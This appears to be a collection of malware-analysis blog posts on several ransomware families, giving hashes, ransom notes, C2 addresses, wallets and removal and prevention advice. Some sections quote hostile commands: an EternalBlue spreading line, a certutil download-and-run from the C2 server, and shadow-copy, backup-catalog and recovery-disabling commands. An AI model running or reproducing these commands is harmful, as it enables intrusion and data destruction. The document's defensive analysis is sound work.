RedEye ransomware: there's more than meets the eye

A rather anonymous account reached out to me on Twitter asking to check out a "scary & really nasty" sample.

It turned out to be RedEye ransomware, a new strain or variant by the same creator of Annabelle ransomware, which I discovered in February earlier this year.


Analysis

This ransomware is named "RedEye" by the author "iCoreX".

Properties:

• MD5: 832090ba6fe32a3c7c36dbd76f270215
• SHA1: 804b8e85f38de8b82a961401836ccec5880342e6
• SHA256: 1a8b7a6547b743ea01bb0ac057c91228c10dc8f99562ce2b06e25893161776bb
• Compilation timestamp: 2018-05-03 10:04:35
• VirusTotal report:
  1a8b7a6547b743ea01bb0ac057c91228c10dc8f99562ce2b06e25893161776bb

The first noticeable thing about this file is the huge filesize: 35.0 MB (36657152 bytes). This is due to several media files, specifically images and audio files, embedded in the binary.

It contains three ".wav" files:

• child.wav
• redeye.wav
• suicide.wav

All three audio files play a "creepy" sound, intended to scare the user. 

Additionally, the binary is protected with ConfuserEx, compression, and a few other tricks. It also embeds another binary, which is responsible for replacing the MBR, which has the following properties:

• MD5: 878a10cda09fec2cb823f2b7138b550e
• SHA1: db44dae60c12853cdbe62ec9f7b3493a897e519a
• SHA256: f96ed49ab1a5b4e2333fee30c42b2ae28dc5bc74fa02b9c6989e5c0159cfffd7
• Compilation timestamp (Delphi): 1992-06-19 22:22:17
• Compilation timestamp (Actual): 2018-06-04 14:23:36
• VirusTotal report:
  f96ed49ab1a5b4e2333fee30c42b2ae28dc5bc74fa02b9c6989e5c0159cfffd7

What actually happens when executing this ransomware? Just like Annabelle ransomware it will perform a set of actions to make removal quite difficult, for example; it will disable task manager and in this iteration, will also hide your drives.

Similar to before, a ransom message is then displayed as follows:

Figure 1 - RedEye Ransomware

The message reads:

All your personal files has been encrypted with an very strong key by RedEye!
(Rijndael-Algorithmus -  AES - 256 Bit)
The only way to get your files back is:
- Go to http://redeye85x9tbxiyki.onion/tbxIyki - Enter your Personal ID
and pay 0.1 Bitcoins to the adress below! After that you need to click on
 "Check Payment". Then you will get a special key to unlock your computer.
You got 4 days to pay, when the time is up,
then your PC will be fully destroyed!

The ransomware has several options which I won't be showing here, but in short, it can:

• Show encrypted files
• Decrypt files
• Support
• Destroy PC

The Destroy PC option shows a GIF as background where you have the option to select "Do it" and "Close". I won't display the image however.

RedEye claims to encrypt files securely with AES256. On my machine, it appears to overwrite or fill files with 0 bytes, rendering the files useless, and appending the ".RedEye" extension.

The machine will, when the time runs out or when the "Do it" option is selected, reboot and replace the MBR, again similar to Annabelle ransomware, with the following message:

Figure 2 - MBR lock screen

The message reads as follows:

RedEye Terminated your computer! 

The reason for that could be:
- The time has expired
- You clicked on the 'Destroy PC' button 

There is no way to fix your PC! Have Fun to try it :)

My YouTube Channel: iCoreX <- :p="" br="" subscribe="">Add me on discord!iCoreX#3333 <- account="" amp="" annabelle="" by="" creator="" discord.="" discord="" got="" i="" icorex="" jigsaw="" my="" named="" of="" old="" ransomware="" redeye="" terminated="">

The author, iCoreX, claims to have created Jigsaw, Annabelle, and now the RedEye ransomware - whether the former is true or not, I'll leave in the middle.

Details on the ransomware:

Extension: .RedEye
BTC Wallet: 1JSHVxXnGDydVXVamFW9AEmk3vk8cF8Vuj
Payment portal: (currently offline): http://redeye85x9tbxiyki[.]onion

Currently, it doesn't appear any payments have been made as of yet:

https://blockchain.info/address/1JSHVxXnGDydVXVamFW9AEmk3vk8cF8Vuj

Removal

You may be able to restore the MBR, or your files, if you catch the ransomware in the act, and shutdown the machine at that point. Reboot in safe mode and copy over or back-up your files.

If tools such as the registry editor are not working, run Rkill in safe mode first.

Then, Restore the MBR, and reinstall Windows.

You may also try to restore the MBR first, and consequently attempt to restore files using Shadow Volume Copies. For example, a tool such as Shadow Explorer can be of assistance, or read the tutorial here.

If that doesn't work either, you may try using a data recovery program such as PhotoRec or Recuva

Conclusion

While it appears that the RedEye ransomware has even more tricks up its sleeve than its predecessor Annabelle, the same conclusion holds true: do not pay the ransomware.

As for the actual purpose of the ransomware: it may be considered a ransomware of the wiper kind, however, it appears the author likes to showcase his or her skill.

You can read more on the purpose of ransomware here.

IOCs

Vietnamese ransomware wants you to add credit to a mobile phone

In this quick blog post we'll have a look at BKRansomware, a Vietnamese ransomware that wants you to top up its phone.

Update: 2018-05-06, scroll down for the update, added to the conclusion.


Analysis

This ransomware is named "BKRansomware" based on the file name and debug path. Properties:

• MD5: 892da86e60236c5aaf26e5025af02513
• SHA1: 6f36c02161a83a3683921fc73319474157f4fb92
• SHA256: c23f695a19346bf3a5b21fb5a281771808953930d8dcb0a359f163ba0329305f
• Compilation timestamp: 2018-05-03 10:04:35
• VirusTotal report:
  c23f695a19346bf3a5b21fb5a281771808953930d8dcb0a359f163ba0329305f

BKRansomware will run via command line and displays the following screen:

Figure 1 - Ransom message

The ransomware message is very brief, and displays:

send 50k viettel to 0963210438 to restore your data

Viettel is a form of credit for mobile phones, used in Vietnam and neighboring countries. It is part of "Viettel Group" (Tập đoàn Công nghiệp Viễn thông Quân đội in Vietnamese), a mobile network operator in Vietnam. (Wiki link). 

As such, it appears the creators are in desperate need of more credit so they can make calls again :)

It only encrypts a small amount of extensions:

Figure 2 - extensions to encrypt

The list is as follows:

.txt, .cpp, .docx, .bmp, .doc, .pdf, .jpg, .pptx, .png, .c, .py, .sql

Encrypted files will have the .hainhc extension appended. Fun note: files aren't actually encrypted, but encoded with ROT23. For example, if you have a text file which says "password", the new content or file will now have "mxpptloa" instead.

Noteworthy is the debug path: 

C:\Users\Gaara\Documents\Visual Studio 2013\Projects\BKRansomware-20180503T093651Z-001\BKRansomware\Release\BKRansomware.pdb

The extension mentioned above, "hainhc" may refer to the following handle or persona on Whitehat VN, a Vietnamese Network security community:
https://whitehat.vn/members/hainhc.59556/

Conclusion

While BKRansomware is not exactly very sophisticated, it is able to encrypt (or rather encode) files, and is unique in the sense that it asks you to top up a mobile phone.

Update: it appears this is a ransomware supposedly used for testing purposes, for both coding and testing VirusTotal detections. However, there seems to be a lot of "testing" going on, including keyloggers. Draw your own conclusions.

Follow the prevention tips here to stay safe.

IOCs

Ransomnix ransomware variant encrypts websites

Ransomnix is a (supposedly Jigsaw, but not really) ransomware variant that holds websites for ransom, and encrypts any files associated with the website.

This ransomware was discovered in the second half of 2018, and there's a brief write-up by Amigo-A here as well: Ransomnix ransomware

In this blog post, we'll discuss a newer variant.


Analysis

Several encrypted websites were discovered, which display the following message:

Figure 1 - Ransom message, part 1

Figure 2 - Ransom message, part 2

The full message is as follows:

JIGSAW RANSOMNIX 2018
I WANT TO PLAY A GAME!
Now Pay 0.2 BTC
OR
Payment will increase by
0.1
BTC each day after
00:00:00
Your Key Will Be Deleted
Your Bill till now 2.4000000000000004 BTC
Dear manager, on
Fri Apr 06 2018 02:08:34 GMT+0100 (GMT Summer Time)
your database server has been locked, your databases files are encrypted
and you have unfortunately "lost" all your data, Encryption was produced using
unique public key RSA-2048 generated for this server.
To decrypt files you need to obtain the private key.
All encrypted files ends with .Crypt
Your reference number: 4027
To obtain the program for this server, which will decrypt all files,
you need to pay 0.2 bitcoin on our bitcoin address 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o (today 1 bitcoin was around 15000 $).
After payment send us your number on our mail crypter@cyberservices.com and we will send you decryption tool (you need only run it and all files will be decrypted during a few hours depending on your content size).
Before payment you can send us one small file (100..500 kilobytes) and we will decrypt it!
It's your guarantee that we have decryption tool. (use your reference number as a subject to your message)
We don't know who are you, All what we need is some money.
Don't panic if we don't answer you during 24 hours. It means that we didn't received your letter and write us again.
You can use one of that bitcoin exchangers for transfering bitcoin.
https://localbitcoins.com
https://www.kraken.com
You dont need install bitcoin programs - you need only use one of this exchangers or other exchanger that you can find in www.google.com for your country.
Please use english language in your letters. If you don't speak english then use https://translate.google.com to translate your letter on english language.
You do not have enough time to think each day payment will increase by
0.1 BTC and after one week your privite key will be deleted and your files will be locked for ever.

People use cryptocurrency for bad choices,
 but today you will have to use it to pay for your files!
 It's your choice!

The following JavaScript is responsible for keeping track of the price, and increasing it:

Figure 3 - JS function

The starting price is set at 0.2 BTC, but will increase every day with 0.1 BTC thanks to two functions: inprice and startTimer.

The function for calculating the time and date, startTimer, is a copy/paste from the following StackOverflow answer: The simplest possible JavaScript countdown timer?

Note that the start_date variable, 1522976914000, is the epoch timestamp in milliseconds, which converted is indeed Friday 6 April 2018 01:08:34, as mentioned in the ransom note.

Ransomware message details:

BTC Wallet: 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o

Email: crypter@cyberservices.com 

Extension: .Crypt

Files will be encrypted, as claimed by the cybercriminals, with RSA-2048.

Unfortunately, it appears several people have already paid for decryption: 1VirusnmipsYSA5jMv8NKstL8FkVjNB9o

Disinfection

If possible, restore the website from a backup, and consequently patch your website, this means: install all relevant and security patches for your CMS, and plugins where applicable.

Then, change all your passwords. Better be safe than sorry.

It is currently unknown if decryption is possible. If you have an example of an encrypted file, please do upload it to ID Ransomware and NoMoreRansom, to see if decryption is possible, or if a decryptor can be developed.

Prevention

For preventing ransomware that attacks your websites, you can follow my prevention tips here.

General ransomware prevention tips can be found here.

Conclusion

Ransomware can in theory be installed on everything; whether it's your machine, your website, or your IoT device. Follow the prevention tips above to stay safe.

Remember: create backups, regularly, and test them as well.

IOCs

Satan ransomware adds EternalBlue exploit

Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware.

Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer.

In this blog post we'll analyse a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network, and consequently encrypt files.

Analysis

First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".

• MD5: 12bc52fd9da66db3e63bfb196ceb9be6
• SHA1: 4508e3442673c149b31e3fffc29cc95f834975bc
• SHA256: b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
• Compilation timestamp: 2018-04-14 06:33:08
• VirusTotal report:
  b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee

The file is packed with PECompact 2, and is therefore only 30KB in filesize. 

Notably, Satan has used different packers in multiple campaigns, for example, it has also used UPX and WinUpack. This is possibly due to a packer option in the Satan RaaS builder. Fun fact: Iron ransomware, which may be a spin-off from Satan, has used VMProtect.

"sts.exe" acts as a simple downloader, and will download two new files, both SFX archives, and extract them with a given password:

Figure 1 - download and extract two new files

Both files will be downloaded from 198.55.107[.]149, and use a custom User-Agent "RookIE/1.0", which seems a rather unique User-Agent.

• ms.exe has password: iamsatancryptor
• client.exe has password: abcdefghijklmn

It appears the Satan ransomware developers showcase some sense of humor by using the password "iamsatancryptor". 

Once the user has executed "sts.exe", they will get the following UAC prompt, if enabled:

Figure 2 - UAC prompt

Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Figure 2 shows the command line options.

Curiously, and thanks to the s2 option, the start dialog will be hidden, but the extraction progress is displayed - this means we need to click through to install the ransomware. Even more curious: the setup is in Chinese.

Figure 3 - End of setup screen

ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit, and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder, as seen in Figure 3. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.

The infection of other machines on the network will be achieved with the following command:

cmd /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 

We can then see an attempt to spread the ransomware to other machine in the same network:

Figure 4 - Spreading attempt over SMB, port 445

down64.dll (17f8d5aff617bb729fcc79be322fcb67) will be loaded in memory using DoublePulsar, and executes the following command:

cmd.exe /c certutil.exe -urlcache -split -f http://198.55.107.149/cab/sts.exe c:/sts.exe&c:\sts.exe

This will be used for planting sts.exe on other machines in the network, and will consequently be executed.

Satan ransomware itself, which is contained in Client.exe, will be dropped to C:\Cryptor.exe.

This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.

Figure 5 - Database-related processes

What's new in this version of Satan, is that the exclusion list has changed slightly - it will not encrypt files with the following words in its path:

windows, python2, python3, microsoft games, boot, i386, ST_V22, intel, dvd maker, recycle, libs, all users, 360rec, 360sec, 360sand, favorites, common files, internet explorer, msbuild, public, 360downloads, windows defen, windows mail, windows media pl, windows nt, windows photo viewer, windows sidebar, default user

This exclusion list is reminiscent of Iron ransomware. (or vice-versa)

Satan will, after encryption, automatically open the following ransomware note: C:\_How_to_decrypt_files.txt:

Figure 6 - Ransom note

The note is, as usual, in English, Chinese and Korean, and demands the user to pay 0.3 BTC. Satan will prepend filenames with its email address, satan_pro@mail.ru, and append extensions with .satan. For example: [satan_pro@mail.ru]Desert.jpg.satan

BTC Wallet: 14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo 

Email: satan_pro@mail.ru

Note: _How_to_decrypt_files.txt

It appears one person has already paid 0.2 BTC:
https://blockchain.info/address/14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo

Satan will create a unique mutex, SATANAPP, so the ransomware won't run twice. It will also generate a unique hardware ID and sends this to the C2 server:

GET /data/token.php?status=ST&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

HTTP/1.1 

Connection: Keep-Alive 

User-Agent: Winnet Client 

Host: 198.55.107.149

As mentioned in the beginning of this blog post, Satan ransomware has been using EternalBlue since at least November 2017 last year. For example, 25005f06e9b45fad836641b19b96f4b3 is another downloader which works similar to what is posted in this blog. It would fetch the following files:

• http://122.114.9.220/data/client.exe
• http://122.114.9.220/data/ms.exe
• http://122.114.9.220/data/winlog.exe

According to VirusTotal, the downloader file was uploaded:

2017-11-20 18:35:17 UTC ( 5 months ago )

For additional reading, read this excellent post by Tencent, who discovered a similar variant using EternalBlue earlier in April this year.

Disinfection

You may want to verify if any of the following files or folders exist:

• C:\sts.exe
• C:\Cryptor.exe
• C:\ProgramData\ms.exe
• C:\ProgramData\client.exe
• C:\Windows\Temp\KSession

Prevention

• Enable UAC
• Enable Windows Update, and install updates (especially verify if MS17-010 is installed)
• Install an antivirus, and keep it up-to-date and running
• Restrict, where possible, access to shares (ACLs)
• Create backups! (and test them)

More ransomware prevention can be found here.

Conclusion

Satan is not the first ransomware to use EternalBlue (for example, WannaCry), however, it does appear the developers of Satan are continuously improving and adding features to its ransomware.

Prevention is always better than disinfection/decryption.

IOCs

This is Spartacus: new ransomware on the block

In this blog post, we'll analyse Spartacus, one of many new ransomware families popping up in 2018.


Analysis

This instance of Spartacus ransomware has the following properties:

• MD5; 25dee2e70c931f3fa832a5b189117ce8
• SHA1; a01294ffd541229718948e17f791694efb596123
• SHA256; ef25bdbcf05fa478df3ddc5f4f717c070e443da04cfc590d44409c815f237cb3
• Compilation timestamp: 2018-01-19 20:36:44
• VirusTotal report:
  ef25bdbcf05fa478df3ddc5f4f717c070e443da04cfc590d44409c815f237cb3

Figure 1 - Spartacus ransomware message

The message reads:

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us the e-mail:
MastersRecovery@protonmail.com and send personal ID KEY:
In case of no answer in 24 hours us to theese e-mail: MastersRecovery@cock.li

The user may send up to 5 files for free decryption, as "guarantee". There's also a warning message at the end of the ransomware screen:

Do not rename encrypted files.
Do not try decrypt your data using party software, it may cause permanent data loss.
Decryption of your files with the help of thrid parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Spartacus will encrypt files, regardless of extension, in the following folders:

Figure 2 - Target folders to encrypt

Generating the key:

Figure 3 - KeyGenerator

As far as I'm aware, Spartacus is the first ransomware who explicitly asks you to send the public key (ID KEY), rather than just sending an email, including the Bitcoin address straight away, or sending the key automatically.

Encrypted files will get the extension appended as follows:
.[MastersRecovery@protonmail.com].Spartacus 

For example:
 Penguins.jpg.[MastersRecovery@protonmail.com].Spartacus

It will also drop the ransomware note, "READ ME.txt" in several locations, such as the user's Desktop:

All your data has been locked us. You want to return? Write email MastersRecovery@protonmail.com or MastersRecovery@cock.li Your personal ID KEY: DvQ9/mvfT3I7U847uKcI0QU3QLd+huv5NOYT2YhfiySde0vhmkzyTtRPlcu73BAJILIPdALjAIy5NLxBHckfyV2XS+GXdjlHMx2V/VEfj4BrZkLB3BQtEdAqS1d2yzb/2+AqTNjsRfZ99ZWVxUZO3AeEZk5h0+3hNM5GogUN2oV5zHkbMZuDaXZxQr56r8UKnW7gmSycdcJh2ueZMuEP1tAuuzdZYgmZ05x9ZT8FX9HIo03rwsi6UiJlgUTZCkiilZjxYyG+qVE+Gjk4H7dnXbQP1PC3k2WICA9R4TYb9SCdv8U/e5sxbuKAbJgEZ114liwHLasmLvQfKYSbxMlbEg==

Interestingly enough, Spartacus also embeds what appears to be a hardcoded and private RSA key:

xA4fTMirLDPi4rnQUX1GNvHC41PZUR/fDIbHnNBtpY0w2Qc4H2HPaBsKepU33RPXN5EnwGqQ5lhFaNnLGnwYjo7w6OCkU+q0dRev14ndx44k1QACTEz4JmP9VGSia6SwHPbD2TdGJsqSulPkK7YHPGlvLKk4IYF59fUfhSPiWleURYiD50Ll2YxkGxwqEYVSrkrr7DMnNRId502NbxrLWlAVk/XE2KLvi0g9B1q2Uu/PVrUgcxX+4wu9815Ia8dSgYBmftxky427OUoeCC4jFQWjEJlUNE8rvQZO5kllCvPDREvHd42nXIBlULvZ8aiv4b7NabWH1zcd2buYHHyGLQ==AQAB

Spartacus will delete Shadow Volume Copies by issuing the following command:

cmd.exe /c vssadmin.exe delete shadows /all /quiet

A unique mutex of "Test" will be created in order to not run the ransomware twice, and Spartacus will also continuously keep the ransomware screen or message from running in the foreground or on top, using the SetForegroundWindow function:

Figure 4 - Ransom will stay on top and annoy the user

Repeating, email addresses used are:

MastersRecovery@protonmail.com
MastersRecovery@cock.li

Decryption may be possible if the ransomware is left running, by extracting the key from memory.


Conclusion

Spartacus is again another ransomware family or variant popping up.

Figure 5 - Meme

Make sure to read the dedicated page on ransomware prevention to prevent Spartacus or any other  ransomware.



IOCs

CryptoWire ransomware not dead

CryptoWire is an "open-source" ransomware based on the AutoIT scripting language, and has been around since 2016. For some background, read the following post on Bleeping Computer:
"Proof of Concept" CryptoWire Ransomware Spawns Lomix and UltraLocker Families

I already encountered a CryptoWire variant last year, when it was used to target users in Brazil:
Ransomware, fala sério!

In this blog post, we'll briefly analyse another, recent, CryptoWire sample.

Analysis

This CryptoWire variant has the following properties:

• MD5: f6d01e72a58a8bdf14f9a103250f779e
• SHA1: 3b97bac22a04282ebbaef60beb168a41e4449239
• SHA256: 4deff7d8434583ea8e5c3ef9b4c64674dfb165b1720ddf63b5abdd8ed6a7399c
• Compilation timestamp: 2018-04-10 16:00:12
• VirusTotal report:
  4deff7d8434583ea8e5c3ef9b4c64674dfb165b1720ddf63b5abdd8ed6a7399c

Figure 1 - Typical CryptoWire layout

The message reads:

The only way you can recover your files is to buy a decryption key
The payment method is: Bitcoins. The price is: $1000 = Bitcoins
When you are ready, send a message by email to wlojul@secmail.pro
We will send you our BTC wallet for the transfer
After confirmation we will send you the decryption key
Click on the 'Buy decryption key' button.

CryptoWire will encrypt files with the following extensions (282 total):

3fr, 7z, EPS, M3U, M4A, PEM, PSD, WPS, XLSX, abw, accdb, afsnit, ai, aif, arc, arw, as, asc, asd, asf, ashdisc, asm, asp, aspx, asx, aup, avi, bay, bbb, bdb, bibtex, bkf, bmp, bmp, bpn, btd, bz2, c, cdi, cdr, cer, cert, cfm, cgi, cpio, cpp, cr2, crt, crw, csr, cue, dbf, dcr, dds, dem, der, dmg, dng, doc, docm, docx, dsb, dwg, dxf, dxg, eddx, edoc, eml, emlx, eps, epub, erf, fdf, ffu, flv, gam, gcode, gho, gpx, gz, h, hbk, hdd, hds, himmel, hpp, ics, idml, iff, img, indd, ipd, iso, isz, iwa, j2k, jp2, jpeg, jpf, jpg, jpm, jpx, jsp, jspa, jspx, jst, kdc, key, keynote, kml, kmz, lic, lwp, lzma, m4v, max, mbox, md2, mdb, mdbackup, mddata, mdf, mdinfo, mds, mef, mid, mov, mp3, mp4, mpa, mpb, mpeg, mpg, mpj, mpp, mrw, msg, mso, nba, nbf, nbi, nbu, nbz, nco, nef, nes, note, nrg, nri, nrw, odb, odc, odm, odp, ods, odt, ogg, one, orf, ova, ovf, oxps, p12, p2i, p65, p7, p7b, p7c, pages, pct, pdd, pdf, pef, pem, pfx, php, php3, php4, php5, phps, phpx, phpxx, phtm, phtml, pl, plist, pmd, pmx, png, ppdf, pps, ppsm, ppsx, ppt, pptm, pptx, ps, psd, pspimage, pst, ptx, pub, pvm, qcn, qcow, qcow2, qt, r3d, ra, raf, rar, raw, rm, rtf, rtf, rw2, rwl, s, sbf, set, skb, slf, sme, smm, snp, spb, sql, sr2, srf, srt, srw, ssc, ssi, stg, stl, svg, swf, sxw, syncdb, tager, tc, tex, tga, thm, tif, tiff, til, toast, torrent, txt, vbk, vcard, vcd, vcf, vdi, vfs4, vhd, vhdx, vmdk, vob, vsdx, wav, wb2, wbk, wbverify, webm, wmb, wpb, wpd, wps, x3f, xdw, xlk, xlr, xls, xlsb, xlsm, xlsx, xz, yuv, zip, zipx

It will also encrypt files, regardless of extension, in certain folders such as Desktop.

Files are encrypted with AES, and prepends extension of encrypted files with ".encrypted.". For example: Tulips.encrypted.png.

CryptoWire will delete Shadow Volume Copies and disable BCDEdit by executing these commands:

vssadmin.exe Delete Shadows /All /Quietbcdedit /set {default} recoveryenabled Nobcdedit /set {default} bootstatuspolicy ignoreallfailures

It will additionally create a scheduled task for persistence.

You can decrypt files for this specific variant with the following Decryption Key:
VgjRPoOM0oa92_jId!/wkMeW6,guuSe

Conclusion

Some ransomware variants simply do not die, one example of these appears to be CryptoWire. If you have been hit by this particular strain, use the decryption key as instructed above, and your files will be decrypted.

Make sure to read the dedicated page on ransomware prevention to prevent CryptoWire or any other "open-source" ransomware to infect your machine, and encrypt your files.

IOCs

StorageCrypt ransomware, a coinminer and more

Lawrence over at Bleeping Computer posted an interesting blog yesterday:
StorageCrypt Ransomware Infecting NAS Devices Using SambaCry

In that blog, Lawrence pointed out quite some users had issues with a new ransomware, dubbed StorageCrypt, and possibly spread via a worm.

There is a Windows component and a Linux component. We'll briefly take a look at both, hopefully providing some additional insight and indicators.


Windows artifacts

美女与野兽.exe is the Windows component, and as pointed out by Lawrence, translates loosely to 'Beauty and the Beast'.

This executable is packed with ASPack, and appears to to display worm-like and backdoor behaviour, with the additional 'feature' of spreading itself via removable drives. After unpacking the sample, it reveals some interesting strings:

1.vbpSMSS.EXEhttp://www.freewebs.com/kelly6666/sm.txthttp://www.freewebs.com/kelly6666/lo.txtDBST32NT.LOG.bak.exeV1.8Start Success.logyyyymmddmmssTxt Open ,Repair the application! is running, Repair the application from backup. is running, Repair the application from MySelf. running is running, update the application !Get V Data!Read Tname to memory.icoKill icoExtractIcons...Write to Tname...ip addr addedGetFolderFileDate...Replace all attrib.I m here!-->Insert Error : for .dll.dll  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonShellexplorer.exe UserinitHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunWindows9xPacksHKEY_CLASSES_ROOT\txtfile\shell\open\command NOTEPAD.EXE %1HKEY_HKEY_CLASSES_ROOTHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERSHKEY_PERFORMANCE_DATAHKEY_CURRENT_CONFIGHKEY_DYN_DATAErrorC:\boot_net.datC:\dosnal.exeFind all exe file from Local host*.exeDownload files is accomplish!Run files of download is success![autorun]Download files1 is accomplish!Run files1 of download is success!This program cannot be run in DOS mode.This program must be run under Win32Autorun.infsuccess.txtcmd.exe /C net view command.exe /C net view  to find to Create file.exeopen=.exeGet Local host IP: Rnd IP:DiskC:\dntboot.binip packet too_bigip unload

Whatever was hosted at www.freewebs[.]com, cannot be retrieved as it no longer exists.

In any case, binaries similar as to this one, appear to have been floating the web for quite a while, as can be observed in this analysis result from 2013 by Team Cymru's TotalHash.

I've uploaded the unpacked sample on Hybrid Analysis.


Linux artifacts

The Linux component appears to exist out of a Samba vulnerability, dubbed SambaCry, and assigned CVE-2017-7494 from earlier this year.

There are several components, which are listed in the table below.

Filename	Hash	Purpose
kJn8LUAZ.so	6b5b4fce04f36101c04c0c5b3f7935ea	Downloads ‘sambacry’
ZbdofxPY.so	053bb22c2cedf5aa5a089bfd2acd31f6	Downloads ‘sambacry’
sambacry	ffe17e314f7b1306b8badec03c36ccb4	Fetch other payloads
httpd1	a5e8cb2e7b84081f5b1f2867f2d26e81	Miner config
minerd32	a016b34ade18626f91d14e46588d6483	Coinminer
watchcat32	ac9ad6bc8cd8118eaeb204c2ebf95441	Watchdog

The 'sambacry' binary will, after one of the .so files has downloaded it, download a set of other files from the C2 server, which is 45.76.102[.]45.

These files are to support the coin mining and, alongside installed, is also what appears to be a watchdog, which monitors the miner process. Additionally, it runs the following in a loop:

while true do  

 ps -ef|grep -E "wget|curl"|grep -v $$|grep -v 45.76.102.45|awk '{print $2}'|xargs kill -9 

done

Whoever's behind this campaign is using the email address madhatterss@protonmail[.]com, as defined in the miner configuration:

{
        "url" : "stratum+tcp://xmr.pool.minergate.com:45560",
        "user" : "madhatterss@protonmail.com",
        "pass" : "x",
        "algo" : "cryptonight"
}

While analysing both Windows and Linux artifacts, I have not observed any ransomware behaviour, so likely the latter is installed manually later on by the attacker.

If you run a Samba server, patch immediately, as this vulnerability has already been reported in April.

Indicators

Comparing EternalPetya and BadRabbit

I've created a table comparing the EternalPetya (ExPetr, NotPetya, etc.) outbreak from June, and the BadRabbit ransomware outbreak from yesterday (2017-10-24).

I have decided to not include WannaCry (WanaCrypt0r), as they are not related, while EternalPetya and BadRabbit do seem very closely related, or even developed by (a part of) the same people.

Use freely, as long as you include a link to the original source, which is this blog post.

Comparison table (click to enlarge)

Download the table / comparison sheet

Additionally, you may find this image as a handy spreadsheet (which you can also download in several formats) on Google Docs here:
EternalPetya_BadRabbit_Comparison

Note: this table or sheet will be updated continuously.


Purpose of BadRabbit?

Again, this makes you wonder about the actual purpose of ransomware, which you can read more about here: The purpose of ransomware

For BadRabbit in particular, it may be deployed as a cover-up or smokescreen, or for both disruption and extortion.


Prevention 

As for any prevention advise, have a look at the following page I've set up:
Ransomware prevention


Disinfection and decryption

Unfortunately, decryption is likely not possible without the cybercriminal's private key.

You may be able to restore the MBR, or your files, if you catch the ransomware in the act, and shutdown the machine at that point. Reboot in safe mode and copy over or back-up your files.

Then, Restore the MBR, and reinstall Windows.

You may also try to restore the MBR first, and consequently attempt to restore files using Shadow Volume Copies. For example, a tool such as Shadow Explorer can be of assistance, or read the tutorial here.

If that doesn't work either, you may try using a data recovery program such as PhotoRec or Recuva


Any questions, comments or feedback, please do let me know in the comments section below, or send me a message on Twitter. See also my About me page for other contact details.

Notes on Sage 2.2 ransomware version

Sage, also known as SageCrypt, is an interesting ransomware variant - emerged somewhere in December last year, and is believed to be a variant of the CryLocker ransomware.

There's a good blog post on BleepingComputer on the first version of Sage, id est "Sage 2".

Yesterday, a personal friend of mine reached out, as his "computer started talking" and his files appeared to be encrypted. And indeed, it appears he suffered the latest variant of Sage: Sage 2.2

Sage 2.2 appears to have been out for a while, at least since February of this year:

Sage 2.2 sample (at 11/58): https://t.co/XsWMsPcXsj
From: nrcommerce[.]com/system/config/spam1.exe - that filename... 👏
More samples: pic.twitter.com/a2J157kjJk

— MalwareHunterTeam (@malwrhunterteam) February 21, 2017

Some figures of Sage 2.2 follow below:

Figure 1 - Sage 2.2 desktop background

Figure 2 - Sage 2.2 file recovery instructions

The message reads:

You probably noticed that you can not open your files and that some software stopped working correctly.
This is expected. Your files content is still there, but it was encrypted by "SAGE 2.2 Ransomware".
Your files are not lost, it is possible to revert them back to normal state by decrypting.
The only way you can do that is by getting "SAGE Decrypter" software and your personal decryption key.

Typical features of Sage 2.2, include, but are not limited to:

• Refresh or update of payment pages is possible;
• Ransom note (!HELP_SOS) and portal, including CAPTCHA;

And...

It speaks! Just like Cerber did at some point, Sage 2.2 has a message for the victim using Microsoft SAPI:

Figure 3 - VBscript which will speak to the victim (click to enlarge)

Interestingly enough, even though the version number still indicates 2.2, there's at least one slight change:

• Deletion or purge of backup catalog/history by using:
  wbadmin delete catalog -quiet

The portal or decryption pages look as follows, stepping through:

Figure 4 - Sage 2.2 user login portal

Figure 5 - Captcha

Figure 6 - Language selection

Figure 7 - Final portal

The victim can choose from a multitude of languages, and, at the final portal, there is a special price for the decryption, for a selected time (7 days): currently 0.17720 BTC, which is about $1000.

As usual, there's a Payment, Test decryption, Instructions, and even a Support tab:

Figure 8 - Payment tab

Figure 9 - Test Decryption tab

Figure 10 - Instructions tab

Figure 11 - Support requests tab

Sage 2.2 will append the .sage extension to encrypted files and currently, it does not appear files can be decrypted without the cybercriminal's help.

As always, try to restore from a backup if possible, and avoid paying the ransom.

Additionally, have a look at my ransomware prevention page, on how to protect yourself.



IOCs

Crystal Finance Millennium used to spread malware

Earlier today, Costin from Kaspersky tweeded the following intriguing tweet:

The Crystal Finance Millennium website in Ukraine has been hacked and distributing malware since at least August 18.

— Costin Raiu (@craiu) August 23, 2017

After some hunting, it was revealed the Crystal Finance Millennium website was indeed hacked, and serving three different flavors of malware. In this short blog post, we'll take a look at the malware variants that were distributed, and provide minimal background.


Introduction

Crystal Finance Millennium' website is currently taken offline by the hosting provider, but archives of the website exist online.

Figure 1 - "At this moment the site is blocked by the hosting administrator"

From the archived webpage, it becomes apparent they provide accounting software, peronalisation of medical records, blood service and "full automation of the doctor's office" - contrary to what their company name suggests, it appears they are (mostly) focused on medical software.

